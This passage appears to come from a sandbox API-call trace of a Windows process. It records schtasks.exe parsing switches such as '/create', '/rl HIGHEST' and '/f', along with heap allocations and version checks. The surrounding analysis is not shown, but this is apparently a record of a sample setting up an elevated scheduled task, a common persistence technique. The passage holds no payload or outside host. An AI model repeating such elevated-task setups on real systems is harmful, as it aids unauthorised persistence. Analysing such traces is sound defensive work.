lpSrch="|rl|") returned 0x0 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] lstrlenW (lpString="/rl") returned 3 [0153.301] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] lstrlenW (lpString="/rl") returned 3 [0153.301] GetProcessHeap () returned 0x42a0000 [0153.301] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x8) returned 0x42aafd8 [0153.301] GetProcessHeap () returned 0x42a0000 [0153.301] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9438 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] lstrlenW (lpString="HIGHEST") returned 7 [0153.301] lstrlenW (lpString="-/") returned 2 [0153.301] StrChrIW (lpStart="-/", wMatch=0x4630048) returned 0x0 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] lstrlenW (lpString="HIGHEST") returned 7 [0153.301] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0153.301] RtlRestoreLastWin32Error () returned 0x490 [0153.301] RtlRestoreLastWin32Error () returned 0x0 [0153.301] lstrlenW (lpString="HIGHEST") returned 7 [0153.301] GetProcessHeap () returned 0x42a0000 [0153.302] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aadb0 [0153.302] GetProcessHeap () returned 0x42a0000 [0153.302] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a96b8 [0153.302] RtlRestoreLastWin32Error () returned 0x0 [0153.302] RtlRestoreLastWin32Error () returned 0x0 [0153.302] lstrlenW (lpString="/f") returned 2 [0153.302] lstrlenW (lpString="-/") returned 2 [0153.302] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.302] lstrlenW (lpString="?") returned 1 [0153.302] lstrlenW (lpString="?") returned 1 [0153.302] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.302] lstrlenW (lpString="f") returned 1 [0153.302] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.302] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.302] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.302] lstrlenW (lpString="|?|") returned 3 [0153.302] lstrlenW (lpString="|f|") returned 3 [0153.302] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0153.302] RtlRestoreLastWin32Error () returned 0x490 [0153.302] lstrlenW (lpString="create") returned 6 [0153.302] lstrlenW (lpString="create") returned 6 [0153.302] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.302] lstrlenW (lpString="f") returned 1 [0153.302] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.302] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.302] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.302] lstrlenW (lpString="|create|") returned 8 [0153.302] lstrlenW (lpString="|f|") returned 3 [0153.302] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0153.303] RtlRestoreLastWin32Error () returned 0x490 [0153.303] lstrlenW (lpString="delete") returned 6 [0153.303] lstrlenW (lpString="delete") returned 6 [0153.303] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.303] lstrlenW (lpString="f") returned 1 [0153.303] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.303] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|delete|") returned 8 [0153.303] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.303] lstrlenW (lpString="|delete|") returned 8 [0153.303] lstrlenW (lpString="|f|") returned 3 [0153.303] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0153.303] RtlRestoreLastWin32Error () returned 0x490 [0153.303] lstrlenW (lpString="query") returned 5 [0153.303] lstrlenW (lpString="query") returned 5 [0153.303] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.303] lstrlenW (lpString="f") returned 1 [0153.303] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.303] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|query|") returned 7 [0153.303] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.303] lstrlenW (lpString="|query|") returned 7 [0153.303] lstrlenW (lpString="|f|") returned 3 [0153.303] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0153.303] RtlRestoreLastWin32Error () returned 0x490 [0153.303] lstrlenW (lpString="change") returned 6 [0153.303] lstrlenW (lpString="change") returned 6 [0153.303] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.303] lstrlenW (lpString="f") returned 1 [0153.303] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.304] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|change|") returned 8 [0153.304] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.304] lstrlenW (lpString="|change|") returned 8 [0153.304] lstrlenW (lpString="|f|") returned 3 [0153.304] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0153.304] RtlRestoreLastWin32Error () returned 0x490 [0153.304] lstrlenW (lpString="run") returned 3 [0153.304] lstrlenW (lpString="run") returned 3 [0153.304] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.304] lstrlenW (lpString="f") returned 1 [0153.304] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.304] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|run|") returned 5 [0153.304] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.304] lstrlenW (lpString="|run|") returned 5 [0153.304] lstrlenW (lpString="|f|") returned 3 [0153.304] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0153.304] RtlRestoreLastWin32Error () returned 0x490 [0153.304] lstrlenW (lpString="end") returned 3 [0153.304] lstrlenW (lpString="end") returned 3 [0153.304] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.304] lstrlenW (lpString="f") returned 1 [0153.304] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.304] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|end|") returned 5 [0153.304] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.304] lstrlenW (lpString="|end|") returned 5 [0153.304] lstrlenW (lpString="|f|") returned 3 [0153.304] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0153.305] RtlRestoreLastWin32Error () returned 0x490 [0153.305] lstrlenW (lpString="showsid") returned 7 [0153.305] lstrlenW (lpString="showsid") returned 7 [0153.305] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.305] lstrlenW (lpString="f") returned 1 [0153.305] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.305] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|showsid|") returned 9 [0153.305] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|f|") returned 3 [0153.305] lstrlenW (lpString="|showsid|") returned 9 [0153.305] lstrlenW (lpString="|f|") returned 3 [0153.305] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0153.305] RtlRestoreLastWin32Error () returned 0x490 [0153.305] RtlRestoreLastWin32Error () returned 0x490 [0153.305] RtlRestoreLastWin32Error () returned 0x0 [0153.305] lstrlenW (lpString="/f") returned 2 [0153.305] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0153.305] RtlRestoreLastWin32Error () returned 0x490 [0153.305] RtlRestoreLastWin32Error () returned 0x0 [0153.305] lstrlenW (lpString="/f") returned 2 [0153.305] GetProcessHeap () returned 0x42a0000 [0153.305] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x6) returned 0x42a6708 [0153.305] GetProcessHeap () returned 0x42a0000 [0153.305] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a96f8 [0153.305] RtlRestoreLastWin32Error () returned 0x0 [0153.305] GetProcessHeap () returned 0x42a0000 [0153.305] GetProcessHeap () returned 0x42a0000 [0153.305] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6d40) returned 1 [0153.305] GetProcessHeap () returned 0x42a0000 [0153.305] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6d40) returned 0x8 [0153.305] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a6d40) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9418) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9418) returned 0x14 [0153.306] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9418) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9068) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9068) returned 0x22 [0153.306] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9068) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96d8) returned 1 [0153.306] GetProcessHeap () returned 0x42a0000 [0153.306] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96d8) returned 0x14 [0153.306] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a96d8) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9908) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9908) returned 0x8 [0153.307] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9908) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9618) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9618) returned 0x14 [0153.307] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9618) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a74a8) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a74a8) returned 0x10 [0153.307] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a74a8) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9638) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9638) returned 0x14 [0153.307] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9638) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a28b8) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.307] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a28b8) returned 0x8 [0153.307] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a28b8) returned 1 [0153.307] GetProcessHeap () returned 0x42a0000 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9698) returned 1 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9698) returned 0x14 [0153.308] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9698) returned 1 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aaf70) returned 1 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aaf70) returned 0x60 [0153.308] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42aaf70) returned 1 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9578) returned 1 [0153.308] GetProcessHeap () returned 0x42a0000 [0153.308] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9578) returned 0x14 [0153.309] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9578) returned 1 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aafd8) returned 1 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aafd8) returned 0x8 [0153.309] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42aafd8) returned 1 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9438) returned 1 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9438) returned 0x14 [0153.309] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a9438) returned 1 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] GetProcessHeap () returned 0x42a0000 [0153.309] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aadb0) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aadb0) returned 0x10 [0153.310] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42aadb0) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96b8) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96b8) returned 0x14 [0153.310] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a96b8) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6708) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.310] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6708) returned 0x6 [0153.310] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a6708) returned 1 [0153.310] GetProcessHeap () returned 0x42a0000 [0153.311] GetProcessHeap () returned 0x42a0000 [0153.311] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96f8) returned 1 [0153.311] GetProcessHeap () returned 0x42a0000 [0153.311] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96f8) returned 0x14 [0153.311] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a96f8) returned 1 [0153.311] GetProcessHeap () returned 0x42a0000 [0153.311] GetProcessHeap () returned 0x42a0000 [0153.311] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a73e8) returned 1 [0153.311] GetProcessHeap () returned 0x42a0000 [0153.311] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a73e8) returned 0x10 [0153.311] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42a73e8) returned 1 [0153.313] RtlRestoreLastWin32Error () returned 0x0 [0153.313] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0153.313] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0153.313] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0153.313] RtlVerifyVersionInfo (VersionInfo=0xcc860, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0153.313] RtlRestoreLastWin32Error () returned 0x0 [0153.314] lstrlenW (lpString="create") returned 6 [0153.314] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0153.314] RtlRestoreLastWin32Error () returned 0x490 [0153.314] RtlRestoreLastWin32Error () returned 0x0 [0153.314] lstrlenW (lpString="create") returned 6 [0153.314] GetProcessHeap () returned 0x42a0000 [0153.314] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9618 [0153.314] GetProcessHeap () returned 0x42a0000 [0153.314] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aaca8 [0153.314] _memicmp (_Buf1=0x42aaca8, _Buf2=0x232708, _Size=0x7) returned 0 [0153.314] GetProcessHeap () returned 0x42a0000 [0153.314] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x16) returned 0x42a96b8 [0153.314] RtlRestoreLastWin32Error () returned 0x0 [0153.314] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42a8db0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0153.315] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xcc96c | out: lpdwHandle=0xcc96c) returned 0x76c [0153.315] GetProcessHeap () returned 0x42a0000 [0153.315] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x776) returned 0x42aa040 [0153.315] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x42aa040 | out: lpData=0x42aa040) returned 1 [0153.315] VerQueryValueW (in: pBlock=0x42aa040, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcc974, puLen=0xcc978 | out: lplpBuffer=0xcc974*=0x42aa3f0, puLen=0xcc978) returned 1 [0153.316] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.316] _vsnwprintf (in: _Buffer=0x42a8db0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcc958 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0153.316] VerQueryValueW (in: pBlock=0x42aa040, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcc984, puLen=0xcc980 | out: lplpBuffer=0xcc984*=0x42aa220, puLen=0xcc980) returned 1 [0153.316] lstrlenW (lpString="schtasks.exe") returned 12 [0153.316] lstrlenW (lpString="schtasks.exe") returned 12 [0153.316] lstrlenW (lpString=".EXE") returned 4 [0153.316] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0153.316] lstrlenW (lpString="schtasks.exe") returned 12 [0153.316] lstrlenW (lpString=".EXE") returned 4 [0153.316] lstrlenW (lpString="schtasks") returned 8 [0153.316] lstrlenW (lpString="/create") returned 7 [0153.316] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.316] _vsnwprintf (in: _Buffer=0x42a8db0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xcc958 | out: _Buffer="schtasks /create") returned 16 [0153.316] _memicmp (_Buf1=0x42a7448, _Buf2=0x232708, _Size=0x7) returned 0 [0153.316] GetProcessHeap () returned 0x42a0000 [0153.316] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9578 [0153.316] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.316] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0153.316] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0153.317] GetProcessHeap () returned 0x42a0000 [0153.317] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x30) returned 0x42a9068 [0153.317] _vsnwprintf (in: _Buffer=0x42a8fc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcc95c | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0153.317] GetProcessHeap () returned 0x42a0000 [0153.317] GetProcessHeap () returned 0x42a0000 [0153.317] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aa040) returned 1 [0153.317] GetProcessHeap () returned 0x42a0000 [0153.317] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aa040) returned 0x776 [0153.317] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42aa040) returned 1 [0153.317] RtlRestoreLastWin32Error () returned 0x0 [0153.317] GetThreadLocale () returned 0x409 [0153.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.317] lstrlenW (lpString="create") returned 6 [0153.317] GetThreadLocale () returned 0x409 [0153.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.317] lstrlenW (lpString="?") returned 1 [0153.317] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="s") returned 1 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="u") returned 1 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="p") returned 1 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="ru") returned 2 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="rp") returned 2 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="sc") returned 2 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="mo") returned 2 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="d") returned 1 [0153.318] GetThreadLocale () returned 0x409 [0153.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.318] lstrlenW (lpString="m") returned 1 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="i") returned 1 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="tn") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="tr") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="st") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="sd") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="ed") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="it") returned 2 [0153.319] GetThreadLocale () returned 0x409 [0153.319] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.319] lstrlenW (lpString="et") returned 2 [0153.319] 